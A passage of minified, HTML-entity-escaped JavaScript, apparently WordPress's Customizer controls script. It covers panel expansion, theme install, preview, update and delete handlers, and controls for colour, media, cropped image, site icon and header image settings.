keydown&quot;,function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded())||n.expand()}),n.container.find(&quot;.customize-panel-back&quot;).on(&quot;click keydown&quot;,function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded()&amp;&amp;n.collapse())}),(t=n.container.find(&quot;.panel-meta:first&quot;)).find(&quot;&gt; .accordion-section-title .customize-help-toggle&quot;).on(&quot;click&quot;,function(){var e;t.hasClass(&quot;cannot-expand&quot;)||(e=t.find(&quot;.customize-panel-description:first&quot;),t.hasClass(&quot;open&quot;)?(t.toggleClass(&quot;open&quot;),e.slideUp(n.defaultExpandedArguments.duration,function(){e.trigger(&quot;toggled&quot;)}),J(this).attr(&quot;aria-expanded&quot;,!1)):(e.slideDown(n.defaultExpandedArguments.duration,function(){e.trigger(&quot;toggled&quot;)}),t.toggleClass(&quot;open&quot;),J(this).attr(&quot;aria-expanded&quot;,!0)))})},sections:function(){return this._children(&quot;panel&quot;,&quot;section&quot;)},isContextuallyActive:function(){var e=this.sections(),t=0;return _(e).each(function(e){e.active()&amp;&amp;e.isContextuallyActive()&amp;&amp;(t+=1)}),0!==t},onChangeExpanded:function(e,t){var n,i,a,o,s,r,c;t.unchanged?t.completeCallback&amp;&amp;t.completeCallback():(a=(i=(n=this).contentContainer).closest(&quot;.wp-full-overlay&quot;),o=i.closest(&quot;.wp-full-overlay-sidebar-content&quot;),s=n.headContainer.find(&quot;.accordion-section-title button, .accordion-section-title[tabindex]&quot;),r=i.find(&quot;.customize-panel-back&quot;),c=n.sections(),e&amp;&amp;!i.hasClass(&quot;current-panel&quot;)?(Y.section.each(function(e){n.id!==e.panel()&amp;&amp;e.collapse({duration:0})}),Y.panel.each(function(e){n!==e&amp;&amp;e.collapse({duration:0})}),n.params.autoExpandSoleSection&amp;&amp;1===c.length&amp;&amp;c[0].active.get()?(i.addClass(&quot;current-panel skip-transition&quot;),a.addClass(&quot;in-sub-panel&quot;),c[0].expand({completeCallback:t.completeCallback})):(n._animateChangeExpanded(function(){r.attr(&quot;tabindex&quot;,&quot;0&quot;),r.trigger(&quot;focus&quot;),i.css(&quot;top&quot;,&quot;&quot;),o.scrollTop(0),t.completeCallback&amp;&amp;t.completeCallback()}),i.addClass(&quot;current-panel&quot;),a.addClass(&quot;in-sub-panel&quot;)),Y.state(&quot;expandedPanel&quot;).set(n)):!e&amp;&amp;i.hasClass(&quot;current-panel&quot;)&amp;&amp;(i.hasClass(&quot;skip-transition&quot;)?i.removeClass(&quot;skip-transition&quot;):n._animateChangeExpanded(function(){s.focus(),i.css(&quot;top&quot;,&quot;&quot;),t.completeCallback&amp;&amp;t.completeCallback()}),a.removeClass(&quot;in-sub-panel&quot;),i.removeClass(&quot;current-panel&quot;),n===Y.state(&quot;expandedPanel&quot;).get())&amp;&amp;Y.state(&quot;expandedPanel&quot;).set(!1))},renderContent:function(){var e=this,t=0!==J(&quot;#tmpl-&quot;+e.templateSelector+&quot;-content&quot;).length?wp.template(e.templateSelector+&quot;-content&quot;):wp.template(&quot;customize-panel-default-content&quot;);t&amp;&amp;e.headContainer&amp;&amp;e.contentContainer.html(t(_.extend({id:e.id},e.params)))}}),Y.ThemesPanel=Y.Panel.extend({initialize:function(e,t){this.installingThemes=[],Y.Panel.prototype.initialize.call(this,e,t)},canSwitchTheme:function(e){return!(!e||e!==Y.settings.theme.stylesheet)||&quot;publish&quot;===Y.state(&quot;selectedChangesetStatus&quot;).get()&amp;&amp;(&quot;&quot;===Y.state(&quot;changesetStatus&quot;).get()||&quot;auto-draft&quot;===Y.state(&quot;changesetStatus&quot;).get())},attachEvents:function(){var t=this;function e(){t.canSwitchTheme()?t.notifications.remove(&quot;theme_switch_unavailable&quot;):t.notifications.add(new Y.Notification(&quot;theme_switch_unavailable&quot;,{message:Y.l10n.themePreviewUnavailable,type:&quot;warning&quot;}))}Y.Panel.prototype.attachEvents.apply(t),Y.settings.theme._canInstall&amp;&amp;Y.settings.theme._filesystemCredentialsNeeded&amp;&amp;t.notifications.add(new Y.Notification(&quot;theme_install_unavailable&quot;,{message:Y.l10n.themeInstallUnavailable,type:&quot;info&quot;,dismissible:!0})),e(),Y.state(&quot;selectedChangesetStatus&quot;).bind(e),Y.state(&quot;changesetStatus&quot;).bind(e),t.contentContainer.on(&quot;click&quot;,&quot;.customize-theme&quot;,function(){t.collapse()}),t.contentContainer.on(&quot;click&quot;,&quot;.customize-themes-section-title, .customize-themes-mobile-back&quot;,function(){J(&quot;.wp-full-overlay&quot;).toggleClass(&quot;showing-themes&quot;)}),t.contentContainer.on(&quot;click&quot;,&quot;.theme-install&quot;,function(e){t.installTheme(e)}),t.contentContainer.on(&quot;click&quot;,&quot;.update-theme, #update-theme&quot;,function(e){e.preventDefault(),e.stopPropagation(),t.updateTheme(e)}),t.contentContainer.on(&quot;click&quot;,&quot;.delete-theme&quot;,function(e){t.deleteTheme(e)}),_.bindAll(t,&quot;installTheme&quot;,&quot;updateTheme&quot;)},onChangeExpanded:function(e,t){var n,i=!1;Y.Panel.prototype.onChangeExpanded.apply(this,[e,t]),t.unchanged?t.completeCallback&amp;&amp;t.completeCallback():(n=this.headContainer.closest(&quot;.wp-full-overlay&quot;),e?(n.addClass(&quot;in-themes-panel&quot;).delay(200).find(&quot;.customize-themes-full-container&quot;).addClass(&quot;animate&quot;),_.delay(function(){n.addClass(&quot;themes-panel-expanded&quot;)},200),600&lt;window.innerWidth&amp;&amp;(t=this.sections(),_.each(t,function(e){e.expanded()&amp;&amp;(i=!0)}),!i)&amp;&amp;0&lt;t.length&amp;&amp;t[0].expand()):n.removeClass(&quot;in-themes-panel themes-panel-expanded&quot;).find(&quot;.customize-themes-full-container&quot;).removeClass(&quot;animate&quot;))},installTheme:function(e){var t,i=this,a=J(e.target).data(&quot;slug&quot;),o=J.Deferred(),s=J(e.target).hasClass(&quot;preview&quot;);return Y.settings.theme._filesystemCredentialsNeeded?o.reject({errorCode:&quot;theme_install_unavailable&quot;}):i.canSwitchTheme(a)?_.contains(i.installingThemes,a)?o.reject({errorCode:&quot;theme_already_installing&quot;}):(wp.updates.maybeRequestFilesystemCredentials(e),e=function(t){var e,n=!1;if(s)Y.notifications.remove(&quot;theme_installing&quot;),i.loadThemePreview(a);else{if(Y.control.each(function(e){&quot;theme&quot;===e.params.type&amp;&amp;e.params.theme.id===t.slug&amp;&amp;(n=e.params.theme,e.rerenderAsInstalled(!0))}),!n||Y.control.has(&quot;installed_theme_&quot;+n.id))return void o.resolve(t);n.type=&quot;installed&quot;,e=new Y.controlConstructor.theme(&quot;installed_theme_&quot;+n.id,{type:&quot;theme&quot;,section:&quot;installed_themes&quot;,theme:n,priority:0}),Y.control.add(e),Y.control(e.id).container.trigger(&quot;render-screenshot&quot;),Y.section.each(function(e){&quot;themes&quot;===e.params.type&amp;&amp;n.id===e.currentTheme&amp;&amp;e.closeDetails()})}o.resolve(t)},i.installingThemes.push(a),t=wp.updates.installTheme({slug:a}),s&amp;&amp;Y.notifications.add(new Y.OverlayNotification(&quot;theme_installing&quot;,{message:Y.l10n.themeDownloading,type:&quot;info&quot;,loading:!0})),t.done(e),t.fail(function(){Y.notifications.remove(&quot;theme_installing&quot;)})):o.reject({errorCode:&quot;theme_switch_unavailable&quot;}),o.promise()},loadThemePreview:function(e){var t,n,i=J.Deferred();return this.canSwitchTheme(e)?((n=document.createElement(&quot;a&quot;)).href=location.href,e=_.extend(Y.utils.parseQueryString(n.search.substr(1)),{theme:e,changeset_uuid:Y.settings.changeset.uuid,return:Y.settings.url.return}),Y.state(&quot;saved&quot;).get()||(e.customize_autosaved=&quot;on&quot;),n.search=J.param(e),Y.notifications.add(new Y.OverlayNotification(&quot;theme_previewing&quot;,{message:Y.l10n.themePreviewWait,type:&quot;info&quot;,loading:!0})),t=function(){var e;0&lt;Y.state(&quot;processing&quot;).get()||(Y.state(&quot;processing&quot;).unbind(t),(e=Y.requestChangesetUpdate({},{autosave:!0})).done(function(){i.resolve(),J(window).off(&quot;beforeunload.customize-confirm&quot;),location.replace(n.href)}),e.fail(function(){Y.notifications.remove(&quot;theme_previewing&quot;),i.reject()}))},0===Y.state(&quot;processing&quot;).get()?t():Y.state(&quot;processing&quot;).bind(t)):i.reject({errorCode:&quot;theme_switch_unavailable&quot;}),i.promise()},updateTheme:function(e){wp.updates.maybeRequestFilesystemCredentials(e),J(document).one(&quot;wp-theme-update-success&quot;,function(e,t){Y.control.each(function(e){&quot;theme&quot;===e.params.type&amp;&amp;e.params.theme.id===t.slug&amp;&amp;(e.params.theme.hasUpdate=!1,e.params.theme.version=t.newVersion,setTimeout(function(){e.rerenderAsInstalled(!0)},2e3))})}),wp.updates.updateTheme({slug:J(e.target).closest(&quot;.notice&quot;).data(&quot;slug&quot;)})},deleteTheme:function(e){var t=J(e.target).data(&quot;slug&quot;),n=Y.section(&quot;installed_themes&quot;);e.preventDefault(),Y.settings.theme._filesystemCredentialsNeeded||window.confirm(Y.settings.l10n.confirmDeleteTheme)&amp;&amp;(wp.updates.maybeRequestFilesystemCredentials(e),J(document).one(&quot;wp-theme-delete-success&quot;,function(){var e=Y.control(&quot;installed_theme_&quot;+t);e.container.remove(),Y.control.remove(e.id),n.loaded=n.loaded-1,n.updateCount(),Y.control.each(function(e){&quot;theme&quot;===e.params.type&amp;&amp;e.params.theme.id===t&amp;&amp;e.rerenderAsInstalled(!1)})}),wp.updates.deleteTheme({slug:t}),n.closeDetails(),n.focus())}}),Y.Control=Y.Class.extend({defaultActiveArguments:{duration:&quot;fast&quot;,completeCallback:J.noop},defaults:{label:&quot;&quot;,description:&quot;&quot;,active:!0,priority:10},initialize:function(e,t){var n,i=this,a=[];i.params=_.extend({},i.defaults,i.params||{},t.params||t||{}),Y.Control.instanceCounter||(Y.Control.instanceCounter=0),Y.Control.instanceCounter++,i.params.instanceNumber||(i.params.instanceNumber=Y.Control.instanceCounter),i.params.type||_.find(Y.controlConstructor,function(e,t){return e===i.constructor&amp;&amp;(i.params.type=t,!0)}),i.params.content||(i.params.content=J(&quot;&lt;li&gt;&lt;/li&gt;&quot;,{id:&quot;customize-control-&quot;+e.replace(/]/g,&quot;&quot;).replace(/\[/g,&quot;-&quot;),class:&quot;customize-control customize-control-&quot;+i.params.type})),i.id=e,i.selector=&quot;#customize-control-&quot;+e.replace(/\]/g,&quot;&quot;).replace(/\[/g,&quot;-&quot;),i.params.content?i.container=J(i.params.content):i.container=J(i.selector),i.params.templateId?i.templateSelector=i.params.templateId:i.templateSelector=&quot;customize-control-&quot;+i.params.type+&quot;-content&quot;,i.deferred=_.extend(i.deferred||{},{embedded:new J.Deferred}),i.section=new Y.Value,i.priority=new Y.Value,i.active=new Y.Value,i.activeArgumentsQueue=[],i.notifications=new Y.Notifications({alt:i.altNotice}),i.elements=[],i.active.bind(function(e){var t=i.activeArgumentsQueue.shift(),t=J.extend({},i.defaultActiveArguments,t);i.onChangeActive(e,t)}),i.section.set(i.params.section),i.priority.set(isNaN(i.params.priority)?10:i.params.priority),i.active.set(i.params.active),Y.utils.bubbleChildValueChanges(i,[&quot;section&quot;,&quot;priority&quot;,&quot;active&quot;]),i.settings={},n={},i.params.setting&amp;&amp;(n.default=i.params.setting),_.extend(n,i.params.settings),_.each(n,function(e,t){var n;_.isObject(e)&amp;&amp;_.isFunction(e.extended)&amp;&amp;e.extended(Y.Value)?i.settings[t]=e:_.isString(e)&amp;&amp;((n=Y(e))?i.settings[t]=n:a.push(e))}),t=function(){_.each(n,function(e,t){!i.settings[t]&amp;&amp;_.isString(e)&amp;&amp;(i.settings[t]=Y(e))}),i.settings[0]&amp;&amp;!i.settings.default&amp;&amp;(i.settings.default=i.settings[0]),i.setting=i.settings.default||null,i.linkElements(),i.embed()},0===a.length?t():Y.apply(Y,a.concat(t)),i.deferred.embedded.done(function(){i.linkElements(),i.setupNotifications(),i.ready()})},linkElements:function(){var i,a=this,o=a.container.find(&quot;[data-customize-setting-link], [data-customize-setting-key-link]&quot;),s={};o.each(function(){var e,t,n=J(this);if(!n.data(&quot;customizeSettingLinked&quot;)){if(n.data(&quot;customizeSettingLinked&quot;,!0),n.is(&quot;:radio&quot;)){if(e=n.prop(&quot;name&quot;),s[e])return;s[e]=!0,n=o.filter(&#039;[name=&quot;&#039;+e+&#039;&quot;]&#039;)}n.data(&quot;customizeSettingLink&quot;)?t=Y(n.data(&quot;customizeSettingLink&quot;)):n.data(&quot;customizeSettingKeyLink&quot;)&amp;&amp;(t=a.settings[n.data(&quot;customizeSettingKeyLink&quot;)]),t&amp;&amp;(i=new Y.Element(n),a.elements.push(i),i.sync(t),i.set(t()))}})},embed:function(){var n=this,e=function(e){var t;e&amp;&amp;Y.section(e,function(e){e.deferred.embedded.done(function(){t=e.contentContainer.is(&quot;ul&quot;)?e.contentContainer:e.contentContainer.find(&quot;ul:first&quot;),n.container.parent().is(t)||t.append(n.container),n.renderContent(),n.deferred.embedded.resolve()})})};n.section.bind(e),e(n.section.get())},ready:function(){var t,n=this;&quot;dropdown-pages&quot;===n.params.type&amp;&amp;n.params.allow_addition&amp;&amp;((t=n.container.find(&quot;.new-content-item-wrapper&quot;)).hide(),n.container.on(&quot;click&quot;,&quot;.add-new-toggle&quot;,function(e){J(e.currentTarget).slideUp(180),t.slideDown(180),t.find(&quot;.create-item-input&quot;).focus()}),n.container.on(&quot;click&quot;,&quot;.add-content&quot;,function(){n.addNewPage()}),n.container.on(&quot;keydown&quot;,&quot;.create-item-input&quot;,function(e){13===e.which&amp;&amp;n.addNewPage()}))},getNotificationsContainerElement:function(){var e,t=this,n=t.container.find(&quot;.customize-control-notifications-container:first&quot;);return n.length||(n=J(&#039;&lt;div class=&quot;customize-control-notifications-container&quot;&gt;&lt;/div&gt;&#039;),t.container.hasClass(&quot;customize-control-nav_menu_item&quot;)?t.container.find(&quot;.menu-item-settings:first&quot;).prepend(n):t.container.hasClass(&quot;customize-control-widget_form&quot;)?t.container.find(&quot;.widget-inside:first&quot;).prepend(n):(e=t.container.find(&quot;.customize-control-title&quot;)).length?e.after(n):t.container.prepend(n)),n},setupNotifications:function(){var n,e,i=this;_.each(i.settings,function(n){n.notifications&amp;&amp;(n.notifications.bind(&quot;add&quot;,function(e){var t=_.extend({},e,{setting:n.id});i.notifications.add(new Y.Notification(n.id+&quot;:&quot;+e.code,t))}),n.notifications.bind(&quot;remove&quot;,function(e){i.notifications.remove(n.id+&quot;:&quot;+e.code)}))}),n=function(){var e=i.section();(!e||Y.section.has(e)&amp;&amp;Y.section(e).expanded())&amp;&amp;i.notifications.render()},i.notifications.bind(&quot;rendered&quot;,function(){var e=i.notifications.get();i.container.toggleClass(&quot;has-notifications&quot;,0!==e.length),i.container.toggleClass(&quot;has-error&quot;,0!==_.where(e,{type:&quot;error&quot;}).length)}),i.section.bind(e=function(e,t){t&amp;&amp;Y.section.has(t)&amp;&amp;Y.section(t).expanded.unbind(n),e&amp;&amp;Y.section(e,function(e){e.expanded.bind(n),n()})}),e(i.section.get()),i.notifications.bind(&quot;change&quot;,_.debounce(n))},renderNotifications:function(){var e,t,n=this,i=!1;&quot;undefined&quot;!=typeof console&amp;&amp;console.warn&amp;&amp;console.warn(&quot;[DEPRECATED] wp.customize.Control.prototype.renderNotifications() is deprecated in favor of instantiating a wp.customize.Notifications and calling its render() method.&quot;),(e=n.getNotificationsContainerElement())&amp;&amp;e.length&amp;&amp;(t=[],n.notifications.each(function(e){t.push(e),&quot;error&quot;===e.type&amp;&amp;(i=!0)}),0===t.length?e.stop().slideUp(&quot;fast&quot;):e.stop().slideDown(&quot;fast&quot;,null,function(){J(this).css(&quot;height&quot;,&quot;auto&quot;)}),n.notificationsTemplate||(n.notificationsTemplate=wp.template(&quot;customize-control-notifications&quot;)),n.container.toggleClass(&quot;has-notifications&quot;,0!==t.length),n.container.toggleClass(&quot;has-error&quot;,i),e.empty().append(n.notificationsTemplate({notifications:t,altNotice:Boolean(n.altNotice)}).trim()))},expand:function(e){Y.section(this.section()).expand(e)},focus:o,onChangeActive:function(e,t){t.unchanged?t.completeCallback&amp;&amp;t.completeCallback():J.contains(document,this.container[0])?e?this.container.slideDown(t.duration,t.completeCallback):this.container.slideUp(t.duration,t.completeCallback):(this.container.toggle(e),t.completeCallback&amp;&amp;t.completeCallback())},toggle:function(e){return this.onChangeActive(e,this.defaultActiveArguments)},activate:a.prototype.activate,deactivate:a.prototype.deactivate,_toggleActive:a.prototype._toggleActive,dropdownInit:function(){function e(e){&quot;string&quot;==typeof e&amp;&amp;i.statuses&amp;&amp;i.statuses[e]?n.html(i.statuses[e]).show():n.hide()}var t=this,n=this.container.find(&quot;.dropdown-status&quot;),i=this.params,a=!1;this.container.on(&quot;click keydown&quot;,&quot;.dropdown&quot;,function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),a||t.container.toggleClass(&quot;open&quot;),t.container.hasClass(&quot;open&quot;)&amp;&amp;t.container.parent().parent().find(&quot;li.library-selected&quot;).focus(),a=!0,setTimeout(function(){a=!1},400))}),this.setting.bind(e),e(this.setting())},renderContent:function(){var e=this,t=e.templateSelector;t===&quot;customize-control-&quot;+e.params.type+&quot;-content&quot;&amp;&amp;_.contains([&quot;button&quot;,&quot;checkbox&quot;,&quot;date&quot;,&quot;datetime-local&quot;,&quot;email&quot;,&quot;month&quot;,&quot;number&quot;,&quot;password&quot;,&quot;radio&quot;,&quot;range&quot;,&quot;search&quot;,&quot;select&quot;,&quot;tel&quot;,&quot;time&quot;,&quot;text&quot;,&quot;textarea&quot;,&quot;week&quot;,&quot;url&quot;],e.params.type)&amp;&amp;!document.getElementById(&quot;tmpl-&quot;+t)&amp;&amp;0===e.container.children().length&amp;&amp;(t=&quot;customize-control-default-content&quot;),document.getElementById(&quot;tmpl-&quot;+t)&amp;&amp;(t=wp.template(t))&amp;&amp;e.container&amp;&amp;e.container.html(t(e.params)),e.notifications.container=e.getNotificationsContainerElement(),(!(t=e.section())||Y.section.has(t)&amp;&amp;Y.section(t).expanded())&amp;&amp;e.notifications.render()},addNewPage:function(){var e,a,o,t,n,s,r,c=this;&quot;dropdown-pages&quot;===c.params.type&amp;&amp;c.params.allow_addition&amp;&amp;Y.Menus&amp;&amp;(a=c.container.find(&quot;.add-new-toggle&quot;),o=c.container.find(&quot;.new-content-item-wrapper&quot;),t=c.container.find(&quot;.create-item-input&quot;),n=c.container.find(&quot;.create-item-error&quot;),s=t.val(),r=c.container.find(&quot;select&quot;),s?(o.removeClass(&quot;form-invalid&quot;),t.attr(&quot;aria-invalid&quot;,&quot;false&quot;),t.removeAttr(&quot;aria-describedby&quot;),n.hide(),t.attr(&quot;disabled&quot;,&quot;disabled&quot;),(e=Y.Menus.insertAutoDraftPost({post_title:s,post_type:&quot;page&quot;})).done(function(e){var t,n,i=new Y.Menus.AvailableItemModel({id:&quot;post-&quot;+e.post_id,title:s,type:&quot;post_type&quot;,type_label:Y.Menus.data.l10n.page_label,object:&quot;page&quot;,object_id:e.post_id,url:e.url});Y.Menus.availableMenuItemsPanel.collection.add(i),t=J(&quot;#available-menu-items-post_type-page&quot;).find(&quot;.available-menu-items-list&quot;),n=wp.template(&quot;available-menu-item&quot;),t.prepend(n(i.attributes)),r.focus(),c.setting.set(String(e.post_id)),o.slideUp(180),a.slideDown(180)}),e.always(function(){t.val(&quot;&quot;).removeAttr(&quot;disabled&quot;)})):(o.addClass(&quot;form-invalid&quot;),t.attr(&quot;aria-invalid&quot;,&quot;true&quot;),t.attr(&quot;aria-describedby&quot;,n.attr(&quot;id&quot;)),n.slideDown(&quot;fast&quot;),wp.a11y.speak(n.text())))}}),Y.ColorControl=Y.Control.extend({ready:function(){var t,n=this,e=&quot;hue&quot;===this.params.mode,i=!1;e?(t=this.container.find(&quot;.color-picker-hue&quot;)).val(n.setting()).wpColorPicker({change:function(e,t){i=!0,n.setting(t.color.h()),i=!1}}):(t=this.container.find(&quot;.color-picker-hex&quot;)).val(n.setting()).wpColorPicker({change:function(){i=!0,n.setting.set(t.wpColorPicker(&quot;color&quot;)),i=!1},clear:function(){i=!0,n.setting.set(&quot;&quot;),i=!1}}),n.setting.bind(function(e){i||(t.val(e),t.wpColorPicker(&quot;color&quot;,e))}),n.container.on(&quot;keydown&quot;,function(e){27===e.which&amp;&amp;n.container.find(&quot;.wp-picker-container&quot;).hasClass(&quot;wp-picker-active&quot;)&amp;&amp;(t.wpColorPicker(&quot;close&quot;),n.container.find(&quot;.wp-color-result&quot;).focus(),e.stopPropagation())})}}),Y.MediaControl=Y.Control.extend({ready:function(){var n=this;function e(e){var t=J.Deferred();n.extended(Y.UploadControl)?t.resolve():(e=parseInt(e,10),_.isNaN(e)||e&lt;=0?(delete n.params.attachment,t.resolve()):n.params.attachment&amp;&amp;n.params.attachment.id===e&amp;&amp;t.resolve()),&quot;pending&quot;===t.state()&amp;&amp;wp.media.attachment(e).fetch().done(function(){n.params.attachment=this.attributes,t.resolve(),wp.customize.previewer.send(n.setting.id+&quot;-attachment-data&quot;,this.attributes)}),t.done(function(){n.renderContent()})}_.bindAll(n,&quot;restoreDefault&quot;,&quot;removeFile&quot;,&quot;openFrame&quot;,&quot;select&quot;,&quot;pausePlayer&quot;),n.container.on(&quot;click keydown&quot;,&quot;.upload-button&quot;,n.openFrame),n.container.on(&quot;click keydown&quot;,&quot;.upload-button&quot;,n.pausePlayer),n.container.on(&quot;click keydown&quot;,&quot;.thumbnail-image img&quot;,n.openFrame),n.container.on(&quot;click keydown&quot;,&quot;.default-button&quot;,n.restoreDefault),n.container.on(&quot;click keydown&quot;,&quot;.remove-button&quot;,n.pausePlayer),n.container.on(&quot;click keydown&quot;,&quot;.remove-button&quot;,n.removeFile),n.container.on(&quot;click keydown&quot;,&quot;.remove-button&quot;,n.cleanupPlayer),Y.section(n.section()).container.on(&quot;expanded&quot;,function(){n.player&amp;&amp;n.player.setControlsSize()}).on(&quot;collapsed&quot;,function(){n.pausePlayer()}),e(n.setting()),n.setting.bind(e)},pausePlayer:function(){this.player&amp;&amp;this.player.pause()},cleanupPlayer:function(){this.player&amp;&amp;wp.media.mixin.removePlayer(this.player)},openFrame:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.frame||this.initFrame(),this.frame.open())},initFrame:function(){this.frame=wp.media({button:{text:this.params.button_labels.frame_button},states:[new wp.media.controller.Library({title:this.params.button_labels.frame_title,library:wp.media.query({type:this.params.mime_type}),multiple:!1,date:!1})]}),this.frame.on(&quot;select&quot;,this.select)},select:function(){var e=this.frame.state().get(&quot;selection&quot;).first().toJSON(),t=window._wpmejsSettings||{};this.params.attachment=e,this.setting(e.id),(e=this.container.find(&quot;audio, video&quot;).get(0))?this.player=new MediaElementPlayer(e,t):this.cleanupPlayer()},restoreDefault:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.params.attachment=this.params.defaultAttachment,this.setting(this.params.defaultAttachment.url))},removeFile:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.params.attachment={},this.setting(&quot;&quot;),this.renderContent())}}),Y.UploadControl=Y.MediaControl.extend({select:function(){var e=this.frame.state().get(&quot;selection&quot;).first().toJSON(),t=window._wpmejsSettings||{};this.params.attachment=e,this.setting(e.url),(e=this.container.find(&quot;audio, video&quot;).get(0))?this.player=new MediaElementPlayer(e,t):this.cleanupPlayer()},success:function(){},removerVisibility:function(){}}),Y.ImageControl=Y.UploadControl.extend({thumbnailSrc:function(){}}),Y.BackgroundControl=Y.UploadControl.extend({ready:function(){Y.UploadControl.prototype.ready.apply(this,arguments)},select:function(){Y.UploadControl.prototype.select.apply(this,arguments),wp.ajax.post(&quot;custom-background-add&quot;,{nonce:_wpCustomizeBackground.nonces.add,wp_customize:&quot;on&quot;,customize_theme:Y.settings.theme.stylesheet,attachment_id:this.params.attachment.id})}}),Y.BackgroundPositionControl=Y.Control.extend({ready:function(){var e,n=this;n.container.on(&quot;change&quot;,&#039;input[name=&quot;background-position&quot;]&#039;,function(){var e=J(this).val().split(&quot; &quot;);n.settings.x(e[0]),n.settings.y(e[1])}),e=_.debounce(function(){var e=n.settings.x.get(),t=n.settings.y.get(),e=String(e)+&quot; &quot;+String(t);n.container.find(&#039;input[name=&quot;background-position&quot;][value=&quot;&#039;+e+&#039;&quot;]&#039;).trigger(&quot;click&quot;)}),n.settings.x.bind(e),n.settings.y.bind(e),e()}}),Y.CroppedImageControl=Y.MediaControl.extend({openFrame:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(this.initFrame(),this.frame.setState(&quot;library&quot;).open())},initFrame:function(){var e=_wpMediaViewsL10n;this.frame=wp.media({button:{text:e.select,close:!1},states:[new wp.media.controller.Library({title:this.params.button_labels.frame_title,library:wp.media.query({type:&quot;image&quot;}),multiple:!1,date:!1,priority:20,suggestedWidth:this.params.width,suggestedHeight:this.params.height}),new wp.media.controller.CustomizeImageCropper({imgSelectOptions:this.calculateImageSelectOptions,control:this})]}),this.frame.on(&quot;select&quot;,this.onSelect,this),this.frame.on(&quot;cropped&quot;,this.onCropped,this),this.frame.on(&quot;skippedcrop&quot;,this.onSkippedCrop,this)},onSelect:function(){var e=this.frame.state().get(&quot;selection&quot;).first().toJSON();this.params.width!==e.width||this.params.height!==e.height||this.params.flex_width||this.params.flex_height?this.frame.setState(&quot;cropper&quot;):(this.setImageFromAttachment(e),this.frame.close())},onCropped:function(e){this.setImageFromAttachment(e)},calculateImageSelectOptions:function(e,t){var n=t.get(&quot;control&quot;),i=!!parseInt(n.params.flex_width,10),a=!!parseInt(n.params.flex_height,10),o=e.get(&quot;width&quot;),e=e.get(&quot;height&quot;),s=parseInt(n.params.width,10),r=parseInt(n.params.height,10),c=s/r,l=o/e,d=s,u=r;return t.set(&quot;hasRequiredAspectRatio&quot;,n.hasRequiredAspectRatio(c,l)),t.set(&quot;suggestedCropSize&quot;,{width:o,height:e,x1:0,y1:0,x2:s,y2:r}),t.set(&quot;canSkipCrop&quot;,!n.mustBeCropped(i,a,s,r,o,e)),c&lt;l?s=(r=e)*c:r=(s=o)/c,!(l={handles:!0,keys:!0,instance:!0,persistent:!0,imageWidth:o,imageHeight:e,minWidth:s&lt;d?s:d,minHeight:r&lt;u?r:u,x1:t=(o-s)/2,y1:n=(e-r)/2,x2:s+t,y2:r+n})==a&amp;&amp;!1==i&amp;&amp;(l.aspectRatio=s+&quot;:&quot;+r),!0==a&amp;&amp;(delete l.minHeight,l.maxWidth=o),!0==i&amp;&amp;(delete l.minWidth,l.maxHeight=e),l},mustBeCropped:function(e,t,n,i,a,o){return(!0!==e||!0!==t)&amp;&amp;!(!0===e&amp;&amp;i===o||!0===t&amp;&amp;n===a||n===a&amp;&amp;i===o||a&lt;=n)},hasRequiredAspectRatio:function(e,t){return Math.abs(e-t)&lt;1e-6},onSkippedCrop:function(){var e=this.frame.state().get(&quot;selection&quot;).first().toJSON();this.setImageFromAttachment(e)},setImageFromAttachment:function(e){var t=this;this.params.attachment=e,this.setting(e.id),_.defer(function(){var e=t.container.find(&quot;.actions .button&quot;).first();e.length&amp;&amp;e.focus()})}}),Y.SiteIconControl=Y.CroppedImageControl.extend({initFrame:function(){var e=_wpMediaViewsL10n;this.frame=wp.media({button:{text:e.select,close:!1},states:[new wp.media.controller.Library({title:this.params.button_labels.frame_title,library:wp.media.query({type:&quot;image&quot;}),multiple:!1,date:!1,priority:20,suggestedWidth:this.params.width,suggestedHeight:this.params.height}),new wp.media.controller.SiteIconCropper({imgSelectOptions:this.calculateImageSelectOptions,control:this})]}),this.frame.on(&quot;select&quot;,this.onSelect,this),this.frame.on(&quot;cropped&quot;,this.onCropped,this),this.frame.on(&quot;skippedcrop&quot;,this.onSkippedCrop,this)},onSelect:function(){var e=this.frame.state().get(&quot;selection&quot;).first().toJSON(),t=this;this.params.width!==e.width||this.params.height!==e.height||this.params.flex_width||this.params.flex_height?this.frame.setState(&quot;cropper&quot;):wp.ajax.post(&quot;crop-image&quot;,{nonce:e.nonces.edit,id:e.id,context:&quot;site-icon&quot;,cropDetails:{x1:0,y1:0,width:this.params.width,height:this.params.height,dst_width:this.params.width,dst_height:this.params.height}}).done(function(e){t.setImageFromAttachment(e),t.frame.close()}).fail(function(){t.frame.trigger(&quot;content:error:crop&quot;)})},setImageFromAttachment:function(t){var n,i=this;_.each([&quot;site_icon-32&quot;,&quot;thumbnail&quot;,&quot;full&quot;],function(e){n||_.isUndefined(t.sizes[e])||(n=t.sizes[e])}),this.params.attachment=t,this.setting(t.id),n&amp;&amp;(J(&#039;link[rel=&quot;icon&quot;][sizes=&quot;32x32&quot;]&#039;).attr(&quot;href&quot;,n.url),_.defer(function(){var e=i.container.find(&quot;.actions .button&quot;).first();e.length&amp;&amp;e.focus()}))},removeFile:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.params.attachment={},this.setting(&quot;&quot;),this.renderContent(),J(&#039;link[rel=&quot;icon&quot;][sizes=&quot;32x32&quot;]&#039;).attr(&quot;href&quot;,&quot;/favicon.ico&quot;))}}),Y.HeaderControl=Y.Control.extend({ready:function(){this.btnRemove=J(&quot;#customize-control-header_image .actions .remove&quot;),this.btnNew=J(&quot;#customize-control-header_image .actions .new&quot;),_.bindAll(this,&quot;openMedia&quot;,&quot;removeImage&quot;),this.btnNew.on(&quot;click&quot;,this.openMedia),this.btnRemove.on(&quot;click&quot;,this.removeImage),Y.HeaderTool.currentHeader=this.getInitialHeaderImage(),new Y.HeaderTool.CurrentView({model:Y.HeaderTool.currentHeader,el:&quot;#customize-control-header_image .current .container&quot;}),new Y.HeaderTool.ChoiceListView({collection:Y.HeaderTool.UploadsList=new 